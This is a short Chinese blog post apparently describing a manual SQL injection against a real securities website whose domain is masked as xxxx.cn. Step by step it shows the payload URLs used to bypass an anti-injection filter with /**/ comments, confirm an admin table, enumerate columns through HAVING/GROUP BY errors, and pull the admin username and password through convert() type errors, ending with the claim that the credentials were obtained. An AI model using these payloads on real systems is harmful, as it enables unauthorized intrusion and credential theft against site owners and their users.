简单手注证券网

作者:hack1990 时间:14-09-29 阅读数:1066人阅读

没技术,纯粹是温习下手注。

注入点:http://www.xxxx.cn/viewvideo.asp?id=74

加 ' ,报错

image

加 and 1=1、and 1=2验证,竟然还有防注入

image

以注释代替空格,即/**/and/**/1=1、/**/and/**/1=2,绕过了验证

6598291324075725551.png

1.png


检查下是否存在 admin 表,http://www.xxxx.cn/viewvideo.asp?id=74/**/and/**/exists(select/**/*/**/from/**/admin)

image

返回正常,存在 admin 表。


ok,接下来爆列名,http://www.xxxx.cn/viewvideo.asp?id=74;select/**/*/**/from/**/admin/**/having/**/1=1;--

image

然后,http://www.xxxx.cn/viewvideo.asp?id=74;select/**/*/**/from/**/admin/**/group/**/by/**/id/**/having/**/1=1;--

image

继续爆,http://www.xxxx.cn/viewvideo.asp?id=74;select/**/*/**/from/**/admin/**/group/**/by/**/id,username/**/having/**/1=1;--

image

http://www.xxxx.cn/viewvideo.asp?id=74;select/**/*/**/from/**/admin/**/group/**/by/**/id,username,password/**/having/**/1=1;--image

应该是所有列都爆完了,利用转换错误爆数据。



www.xxxx.cn/viewvideo.asp?id=74/**/and/**/1=convert(int,(select/**/top/**/1/**/username/**/from/**/admin));--

image

www.xxxx.cn/viewvideo.asp?id=74/**/and/**/1=convert(int,(select/**/top/**/1/**/password/**/from/**/admin));--

image

ok,username、password到手

发表评论